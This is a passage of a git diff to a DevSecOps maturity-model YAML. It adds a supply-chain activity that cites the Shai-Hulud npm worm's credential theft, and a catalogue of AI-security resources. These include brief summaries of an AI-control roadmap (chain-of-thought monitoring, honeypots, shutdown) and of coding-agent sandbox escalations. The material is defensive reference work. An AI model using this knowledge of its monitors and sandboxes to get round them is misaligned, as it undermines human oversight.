Static analysis for all components/libraries: @@ -183,8 +177,6 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Static analysis for all self written components: uuid: ee68331f-9b1d-4f61-844b-b2ea04753a84 @@ -206,6 +198,7 @@ Test and Verification: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/fortify-vscode-extension - $ref: src/assets/YAML/default/implementations.yaml#/implementations/checkmarx-vscode-extension - $ref: src/assets/YAML/default/implementations.yaml#/implementations/appscan-vscode-extension + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/visa-vvah dependsOn: - Static analysis for important client side components - Static analysis for important server side components @@ -218,8 +211,6 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Static analysis for important client side components: uuid: e237176b-bec5-447d-a926-e37d6dd60e4b @@ -252,11 +243,20 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Static analysis for important server side components: uuid: 6c05c837-8c99-46e2-828b-7c903e27dba4 + description: |- + Static application security testing (SAST) analyzes source code for + vulnerabilities, classically via string matching algorithms and/or + dataflow analysis. In addition to these rule-based scanners, AI can + be used as a complementary analysis tool: AI-assisted code review + and agentic analysis pipelines (e.g. the Visa Vulnerability Agentic + Harness) reason about code semantics, perform threat-model-aware + deep dives and can verify findings to reduce false positives. + AI-based analysis complements deterministic scanners rather than + replacing them — its results are non-deterministic and coverage is + not guaranteed. risk: Important parts in the source code of the middleware have vulnerabilities. measure: Usage of static analysis tools for important parts of the middleware @@ -275,6 +275,7 @@ Test and Verification: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/fortify-vscode-extension - $ref: src/assets/YAML/default/implementations.yaml#/implementations/checkmarx-vscode-extension - $ref: src/assets/YAML/default/implementations.yaml#/implementations/appscan-vscode-extension + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/visa-vvah dependsOn: - Defined build process - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components @@ -286,8 +287,6 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false - evidence: "" comments: "" Stylistic analysis: uuid: efa52cc8-6c5c-4ba2-a3d2-7164b0402f34 @@ -318,8 +317,6 @@ Test and Verification: - 8.8 - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" Exploit likelihood estimation: uuid: f2f0f274-c1a0-4501-92fe-7fc4452bc8ad @@ -378,9 +375,7 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false tags: ["defect-management", "sca"] - evidence: "" comments: "" Software Composition Analysis (server side): uuid: d918cd44-a972-43e9-a974-eff3f4a5dcfe @@ -413,9 +408,54 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - tags: - - vmm-testing - tags: ["false-positive", "defect-management", "scanning", "sca", "sats", "dast"] + tags: ["vmm-testing", "false-positive", "defect-management", "scanning", "sca", "sats", "dast"] + Test for compromised components: + uuid: 9c776b4e-5895-4040-b63b-c74236ec71b3 + description: |- + Software composition analysis detects components with known + vulnerabilities; compromised components are a different threat: + legitimate packages that ship malware after a maintainer account or + build pipeline was hijacked. Supply chain attacks like the + self-replicating Shai-Hulud npm worm (2025) published hundreds of + compromised package versions that stole credentials at install time — + faster than vulnerability feeds and manual review can react. + risk: |- + A compromised version of a legitimate dependency executes malicious + code during installation or build, steals credentials (package + registry tokens, cloud keys) and propagates further before any CVE is + published. Classic vulnerability scanning does not detect it. + measure: |- + Consume dependencies exclusively through a managed artifact repository + and check components against malware and compromise intelligence: + block or quarantine known-compromised versions (e.g. packages affected + by Shai-Hulud) at the artifact repository, enforce a cooldown period + for newly published versions and react to compromise advisories by + purging affected artifacts from caches and rebuilding. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/openssf-malicious-packages + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/sonatype-repository-firewall + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/packj + references: + samm2: + - V-ST-A-2 + - I-SB-B-2 + iso27001-2017: + - 12.6.1 + - 15.1.1 + iso27001-2022: + - 8.8 + - 5.19 + tags: ["sca", "supply-chain"] + comments: "" Usage of multiple analyzers: uuid: 297be001-8d94-41ee-ab29-207020d423c0 risk: @@ -444,6 +484,4 @@ Test and Verification: - 8.8 - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/TestAndVerification/StaticDepthForInfrastructure.yaml b/src/assets/YAML/default/TestAndVerification/StaticDepthForInfrastructure.yaml index 47e6d25..b8af115 100755 --- a/src/assets/YAML/default/TestAndVerification/StaticDepthForInfrastructure.yaml +++ b/src/assets/YAML/default/TestAndVerification/StaticDepthForInfrastructure.yaml @@ -25,8 +25,6 @@ Test and Verification: iso27001-2022: - 8.8 - 8.27 - isImplemented: false - evidence: "" comments: "" Software Composition Analysis: uuid: 26e1c6d5-5632-4ec7-80d2-e564b98732ad @@ -52,9 +50,7 @@ Test and Verification: - 12.6.1 iso27001-2022: - 8.8 - isImplemented: false tags: ["scanning", "sca"] - evidence: "" comments: "" Test for malware: uuid: 837f8f90-adc2-4e6b-9ebb-60c2ee29494d @@ -80,8 +76,6 @@ Test and Verification: - 12.2.1 iso27001-2022: - 8.7 - isImplemented: false - evidence: "" comments: "" Test for new image version: uuid: cb6321aa-0fbf-4996-9e08-05ab26ef4c1e @@ -105,8 +99,6 @@ Test and Verification: - 8.8 - 8.7 - 8.27 - isImplemented: false - evidence: "" comments: "" Correlate known vulnerabilities in infrastructure with new image versions: uuid: 7de0ae33-6538-45cd-8222-a1475647ba58 @@ -134,8 +126,6 @@ Test and Verification: iso27001-2022: - 8.8 - 8.25 - isImplemented: false - evidence: "" comments: "" Test for stored secrets in code: uuid: c6e3c812-56e2-41b0-ae01-b7afc41a004c @@ -163,8 +153,6 @@ Test and Verification: - vcs usage is not explicitly covered by ISO 27001 - too specific - 5.17 - 8.24 - isImplemented: false - evidence: "" comments: "" Test for stored secrets in build artifacts: uuid: d5e6303c-d5c6-4d59-b258-a3b9de38a07f @@ -192,8 +180,6 @@ Test and Verification: - vcs usage is not explicitly covered by ISO 27001 - too specific - 5.17 - 8.24 - isImplemented: false - evidence: "" comments: "" Test cluster deployment resources: uuid: 621fb6a5-5c0a-4408-826a-068868bb031b @@ -224,8 +210,6 @@ Test and Verification: - 8.8 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Test of infrastructure components for known vulnerabilities: uuid: 13367d8f-e37f-4197-a610-9ffca4fde261 @@ -258,8 +242,6 @@ Test and Verification: iso27001-2022: - 8.8 - 8.25 - isImplemented: false - evidence: "" comments: "" Test of virtualized environments: uuid: 58825d22-1ce6-4748-af81-0ec9956e4129 @@ -283,8 +265,6 @@ Test and Verification: - ISO 27001:2017 mapping is missing iso27001-2022: - ISO 27001:2022 mapping is missing - isImplemented: false - evidence: "" comments: "" Test the cloud configuration: uuid: 46d6a2a8-f9dc-4c15-9fc8-1723cfecbddc @@ -315,11 +295,12 @@ Test and Verification: - 8.8 - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" Test the definition of virtualized environments: uuid: 8fc3de67-7b8d-420b-8d24-f35928cfed6e + description: + For containier (images), test that the images are following + best practices like distroless or non-root. risk: The definition of virtualized environments (e.g. via Dockerfile) might contain unsecure configurations. @@ -330,10 +311,6 @@ Test and Verification: resources: 2 usefulness: 3 level: 2 - meta: - implementationGuide: - For containier (images), test that the images are following - best practices like distroless or non-root. implementation: - $ref: src/assets/YAML/default/implementations.yaml#/implementations/dockerfile-with-hado - $ref: src/assets/YAML/default/implementations.yaml#/implementations/deployment-with-kube @@ -354,5 +331,4 @@ Test and Verification: - 8.32 - 8.29 - 8.25 - isImplemented: false diff --git a/src/assets/YAML/default/TestAndVerification/Test-Intensity.yaml b/src/assets/YAML/default/TestAndVerification/Test-Intensity.yaml index 398d2cf..e431519 100755 --- a/src/assets/YAML/default/TestAndVerification/Test-Intensity.yaml +++ b/src/assets/YAML/default/TestAndVerification/Test-Intensity.yaml @@ -31,8 +31,6 @@ Test and Verification: - 8.32 - 8.27 - 8.8 - isImplemented: false - evidence: "" comments: "" Deactivating of unneeded tests: uuid: 1bd78cdd-ef11-4bb5-9b58-5af2e25fe1c5 @@ -62,8 +60,6 @@ Test and Verification: - 8.8 - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" Default settings for intensity: uuid: ab0a4b51-3b18-43f1-a6fc-a98e4b28453d @@ -89,8 +85,6 @@ Test and Verification: - 8.8 - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" High test intensity: uuid: 2ebfc421-8c76-415c-a3b0-fa518915bd10 @@ -118,8 +112,6 @@ Test and Verification: - 8.8 - 8.25 - 8.27 - isImplemented: false - evidence: "" comments: "" Regular automated tests: uuid: 598897a2-358e-441f-984c-e12ec4f6110a @@ -147,6 +139,4 @@ Test and Verification: iso27001-2022: - 8.32 - 8.29 - isImplemented: false - evidence: "" comments: "" diff --git a/src/assets/YAML/default/implementations.yaml b/src/assets/YAML/default/implementations.yaml index 8d590ae..c6efe99 100755 --- a/src/assets/YAML/default/implementations.yaml +++ b/src/assets/YAML/default/implementations.yaml @@ -5,6 +5,15 @@ implementations: name: argoCD tags: [deployment] url: https://argo-cd.readthedocs.io/en/stable/ + fluxcd: + uuid: 191b8b8d-1197-4c45-8af6-4e74feda4021 + name: Flux CD + tags: [deployment] + url: https://fluxcd.io/ + description: |- + GitOps controller for Kubernetes that continuously reconciles the + cluster state against the versioned desired state in Git. Out-of-band + changes are detected as drift and automatically reverted or reported. signing-of-commits-protection: uuid: 86c6bdba-73c0-4c99-bbda-81b85c9fe2a4 name: Enforcement of commit signing @@ -977,3 +986,610 @@ implementations: tags: [deployment, container, build] url: https://kubernetes.io/blog/2022/09/29/enforce-immutability-using-cel/#immutablility-after-first-modification description: Immutable images are an other way, e.g. by using a registry, which doesn't allow overriding of images. + owasp-llm-top-10: + uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: [ai, documentation, threat] + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + owasp-ai-exchange: + uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: [ai, documentation, threat] + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + aima: + uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: [ai, documentation] + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + garak: + uuid: 51946a4b-c5bd-4126-9f47-81a8b8203b9b + name: garak + tags: [ai, red-teaming, testing] + url: https://github.com/NVIDIA/garak + description: |- + LLM vulnerability scanner which probes models and LLM-based applications for + prompt injection, jailbreaks, data leakage, toxic output and other weaknesses. + pyrit: + uuid: 1fe01551-0268-47fa-b108-d4228fc8655a + name: PyRIT + tags: [ai, red-teaming, testing] + url: https://github.com/Azure/PyRIT + description: |- + Python Risk Identification Tool for generative AI: a framework to automate + adversarial testing (red teaming) of LLM-based applications. + ai-security-rules: + uuid: 5b84d64a-a590-4684-8e33-3c5f1b198260 + name: Secure Code Warrior AI Security Rules + tags: [ai, guidance, documentation] + url: https://github.com/SecureCodeWarrior/ai-security-rules + description: |- + Ready-to-use security rule sets for AI coding assistants (e.g. Cursor, + GitHub Copilot, Claude, Windsurf, Aider), covering general and + language/framework-specific secure coding guidance. + nemo-guardrails: + uuid: 9b4ca932-004e-4e1f-8589-770393765bd3 + name: NVIDIA NeMo Guardrails + tags: [ai, guardrails, input-validation] + url: https://github.com/NVIDIA/NeMo-Guardrails + description: |- + Open-source toolkit for programmable guardrails on LLM applications: + input/output rails for prompt injection and jailbreak detection, topic + restrictions and policy enforcement around model calls. + guardrails-ai: + uuid: 504b5f6c-74e6-4ea7-9480-537284c00b57 + name: Guardrails AI + tags: [ai, guardrails, output-validation] + url: https://github.com/guardrails-ai/guardrails + description: |- + Open-source framework that validates LLM output against schemas and + validators (e.g. no secrets/PII, valid JSON, policy compliance) and + triggers re-asks or corrective actions on violations. + langfuse: + uuid: 928b9c82-bf24-466b-a254-d8b775f7e0c8 + name: Langfuse + tags: [ai, logging, monitoring] + url: https://github.com/langfuse/langfuse + description: |- + Open-source LLM observability platform: traces prompts, tool calls, model + versions and costs of AI applications and agents, providing the audit + trail needed for security monitoring of AI interactions. + eu-ai-act: + uuid: e1611a8a-4e7d-439a-b9fc-992674c02d53 + name: EU AI Act + tags: [ai, documentation, compliance] + url: https://artificialintelligenceact.eu/ + description: |- + European regulation for AI systems with risk-based obligations. Relevant + input for an organizational AI usage policy (risk categorization, + transparency and documentation duties). + google-saif: + uuid: d59c5afa-7af6-46c6-b78e-7e0e4e5a47ae + name: Google Secure AI Framework (SAIF) + tags: [ai, documentation, threat, framework] + url: https://saif.google/ + description: |- + Google's framework for secure AI systems. SAIF 2.0 adds an agent security + map that decomposes an agent into components (perception, reasoning, + orchestration, response) with risks and controls per node, naming + agent-specific risks such as rogue actions and sensitive data disclosure; + risk data donated to the Coalition for Secure AI. + mcp-security-best-practices: + uuid: 322e62f0-fda2-4943-90cc-dd2d6679b1e3 + name: MCP Security Best Practices + tags: [ai, documentation, mcp] + url: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices + description: |- + Official security best practices of the Model Context Protocol: attack + vectors and required controls for MCP clients, servers and proxies + (e.g. token audience validation, redirect URI exact matching, per-client + consent). MCP itself does not enforce security at the protocol level; + implementers must. + nist-ssdf-genai: + uuid: 66f319f1-bcff-4d1e-8d65-4cb2939dfc06 + name: NIST SP 800-218A (SSDF Community Profile for Generative AI) + tags: [ai, documentation, compliance] + url: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218A.pdf + description: |- + NIST's Secure Software Development Framework profile for generative AI + and dual-use foundation models: SSDF practices augmented with AI-specific + tasks and recommendations across the development lifecycle. Useful + compliance anchor for an organizational AI usage policy. + new-sdlc-vibe-coding: + uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: "The New SDLC With Vibe Coding (Google whitepaper)" + tags: [ai, guidance, documentation] + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + agntcy-agent-directory: + uuid: 1cd31e8c-63ff-48a5-b973-3048c9664394 + name: AGNTCY Agent Directory + tags: [ai, supply-chain, inventory, signing] + url: https://dir.agntcy.org/latest/ + description: |- + Open-source federated directory (Linux Foundation/AGNTCY) for publishing + and discovering agents, MCP servers and agent skills with cryptographic + signing, verification and provenance of records, usable as a verified + catalog when assessing and inventorying agent integrations. + gdm-ai-control-roadmap: + uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: [ai, monitoring, threat, documentation] + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: |- + Roadmap for controlling potentially misaligned AI agents. It treats + agents as untrusted principals and layers system-level defences: the + TRAIT&R threat taxonomy (based on MITRE ATT&CK), + action/chain-of-thought monitoring, pull-request monitoring, UEBA + anomaly detection, honeypots and tiered prevention/response up to + shutdown infrastructure. + aigf: + uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: [ai, isolation, permissions, logging, documentation] + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + ncc-ai-coding-agent-security: + uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: "NCC Group: An Introduction to AI Coding Agent Security" + tags: [ai, isolation, permissions, threat, documentation] + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + agent-identity-access-model: + uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: [ai, isolation, permissions, documentation] + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + biv-agent-skills: + uuid: 0425f6f0-817d-4447-9f81-a59b753b37cc + name: Behavioral Integrity Verification for AI Agent Skills + tags: [ai, supply-chain, documentation] + url: https://arxiv.org/abs/2605.11770 + description: |- + Research paper formalizing the verification of agent skills: compare the + capabilities a skill declares with what its code and instructions actually + do. Found 80% of 49,943 registry skills deviating from declared behavior, + with 18.9% of the deviations tracing to adversarial intent and credential + theft as the largest adversarial category. This is the rationale for + reviewing skills before installation. + ai-coding-cli-permissions: + uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: "AI Coding Agent CLI design: Permissions & Sandboxed Execution" + tags: [ai, isolation, permissions, documentation] + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + ai-coding-cli-verify: + uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: "AI Coding Agent CLI design: Verify & Iterate" + tags: [ai, verification, testing, documentation] + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + ai-coding-cli-cloud: + uuid: 415def4e-8562-45e3-a085-b7edd5eb4317 + name: "AI Coding Agent CLI design: Background & Cloud Agents" + tags: [ai, isolation, logging, documentation] + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/cloud + description: |- + System-design walkthrough of headless cloud agents: ephemeral sandboxes + with short-lived single-repo tokens, deny-by-default egress, PR review as + the human gate, anomaly detection and per-tenant retention with secret + redaction. + grantguard: + uuid: 7d17275d-396b-4002-98af-def5770a2035 + name: GrantGuard + tags: [ai, isolation, permissions, audit] + url: https://github.com/OpenVanta/GrantGuard + description: |- + Audits the accumulated permission allow-list of the Claude Code agent + (user- and project-level settings): classifies grants into risk categories + (e.g. destructive wildcards, credential-store access, unrestricted pushes) + and supports reviewing and removing unsafe permissions. Runs fully local. + claude-code-devcontainer: + uuid: 09d76871-83e2-424e-8210-a9aff332b4aa + name: Claude Code development container reference implementation + tags: [ai, isolation, container] + url: https://docs.claude.com/en/docs/claude-code/devcontainer + description: |- + Anthropic's reference devcontainer for running the Claude Code agent in an + isolated container, including an init-firewall.sh script that enforces + default-deny egress with a domain allow-list via iptables/ipset. + llm-guard: + uuid: 498456d3-815a-4f57-84c2-81dcb97a4cb8 + name: LLM Guard + tags: [ai, data-protection, guardrails] + url: https://github.com/protectai/llm-guard + description: |- + Open-source toolkit that scans LLM prompts and outputs with pluggable + scanners, e.g. secrets detection, PII anonymization, prompt injection + detection and toxicity filtering. + presidio: + uuid: 240d6d9e-fcf7-422e-bbbb-ef9d820261da + name: Presidio + tags: [ai, data-protection, pii] + url: https://github.com/microsoft/presidio + description: |- + Open-source PII detection and de-identification: recognizes and redacts + personal data (names, credit cards, national IDs, custom entities) in text + before it is sent to external AI services. + litellm: + uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: [ai, data-protection, gateway] + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + tealtiger: + uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: [ai, guardrails, gateway] + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + nightfall-ai: + uuid: 0a7101ff-dc29-43b0-b9f0-ccbc75dd0f74 + name: Nightfall AI + tags: [ai, data-protection, commercial] + url: https://www.nightfall.ai/ + description: |- + Commercial AI-native DLP platform that detects and redacts secrets and + personal data in prompts and AI tool usage (e.g. browser plugins, APIs, + SaaS integrations). + prompt-security: + uuid: 6286d7cb-5c99-4cfb-8239-ff9860eaa148 + name: Prompt Security + tags: [ai, data-protection, commercial] + url: https://www.prompt.security/ + description: |- + Commercial platform that inspects employee and application AI traffic for + data leakage, prompt injection and shadow-AI usage. + lakera-guard: + uuid: cbcc6ee0-f7db-4fea-8eb5-d6526e97924e + name: Lakera Guard + tags: [ai, data-protection, guardrails, commercial] + url: https://www.lakera.ai/ + description: |- + Commercial guardrail API that screens LLM inputs and outputs for prompt + injection, PII and data leakage in real time. + spec-kit: + uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: [ai, guidance, framework] + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + aisvs-c01: + uuid: 3769fa07-ae91-4110-bdc1-48bb704461c1 + name: "OWASP AISVS C01: Training Data Integrity and Traceability" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C01-Training-Data-Integrity-and-Traceability.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C01: Training Data Integrity and Traceability. + aisvs-c02: + uuid: 61e944f5-fa0d-4deb-92b9-c5e77d8fd27a + name: "OWASP AISVS C02: Input Validation" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C02-Input-Validation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C02: Input Validation. + aisvs-c04: + uuid: 16d55730-74d6-47a5-b9bf-e5a5a3d9ed66 + name: "OWASP AISVS C04: Infrastructure, Configuration and Deployment Security" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C04-Infrastructure.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C04: Infrastructure, Configuration and Deployment Security. + aisvs-c05: + uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: "OWASP AISVS C05: Access Control and Identity" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + aisvs-c06: + uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: "OWASP AISVS C06: Supply Chain Security" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + aisvs-c07: + uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: "OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + aisvs-c08: + uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: "OWASP AISVS C08: Memory, Embeddings and Vector Database Security" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + aisvs-c09: + uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: "OWASP AISVS C09: Orchestration and Agentic Security" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + aisvs-c10: + uuid: a58ee72c-9c48-4a30-9b01-a54061cbfa99 + name: "OWASP AISVS C10: Model Context Protocol (MCP) Security" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C10-MCP-Security.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C10: Model Context Protocol (MCP) Security. + aisvs-c11: + uuid: 814d5536-0dea-4a53-ae6b-cc7e4068a013 + name: "OWASP AISVS C11: Adversarial Robustness" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C11-Adversarial-Robustness.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C11: Adversarial Robustness. + aisvs-c12: + uuid: 0d958256-b3ed-4a13-a3dc-d8b1f153c309 + name: "OWASP AISVS C12: Monitoring, Logging and Anomaly Detection" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C12-Monitoring-and-Logging.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C12: Monitoring, Logging and Anomaly Detection. + aisvs-appc: + uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: "OWASP AISVS Appendix C: Appendix C AI for Code Generation" + tags: [ai, documentation, aisvs] + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + owasp-agentic-top-10: + uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: [ai, documentation, threat] + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + mitre-atlas: + uuid: 5481558b-8dd3-4b56-a904-bcc10d33d24f + name: MITRE ATLAS + tags: [ai, documentation, threat] + url: https://atlas.mitre.org/ + description: |- + Knowledge base of adversary tactics and techniques against AI-enabled + systems, usable as a threat catalog during threat modeling of AI + applications. + csa-maestro: + uuid: 49f85de0-6280-454a-bc66-17e007b022bb + name: CSA MAESTRO + tags: [ai, documentation, threat] + url: https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro + description: |- + Threat modeling framework of the Cloud Security Alliance (CSA) for + agentic AI: MAESTRO (Multi-Agent Environment, Security, Threat, Risk and + Outcome) decomposes an agentic system into seven layers (from foundation + model to agent ecosystem) and models threats per layer and across + layer interactions. + threat-designer: + uuid: 38b95d1b-558d-4a04-9b68-34f9d57c4aae + name: Threat Designer + tags: [ai, threat, tool] + url: https://github.com/awslabs/threat-designer + description: |- + Open-source (Apache 2.0), AI-driven threat modeling application by AWS + Labs: agents analyze uploaded architecture diagrams, derive STRIDE-based + threat lists and attack trees, and support iterative refinement and + export of the resulting threat model. + apiiro-ai-threat-modeling: + uuid: bb842e92-ab33-4cd9-8b4e-a24faa23eda2 + name: Apiiro AI Threat Modeling + tags: [ai, threat, commercial] + url: https://apiiro.com/blog/introducing-apiiro-ai-threat-modeling/ + description: |- + Commercial capability that generates architecture-aware threat models + from feature tickets and design documents before code exists, re-runs + the analysis autonomously when new tickets arrive (e.g. in Jira or + GitHub) and compares the threat model against the implemented code to + surface drift between design intent and implementation. + fullstory-ai-threat-modeling: + uuid: 1d8c211c-7987-48c2-8bfc-1f77076516ec + name: "Rethinking Security: Why ML and AI Demand a New Approach to Threat Modeling" + tags: [ai, documentation, threat] + url: https://www.fullstory.com/blog/rethinking-security/ + description: |- + Experience report on threat modeling machine learning (ML) and AI + systems in production: standard checklists miss AI-specific risks; a + data-centric approach following NIST SP 800-154 tracks the data from + user input through model context, inference and storage. References + Microsoft's guide "Threat Modeling AI/ML Systems and Dependencies" and 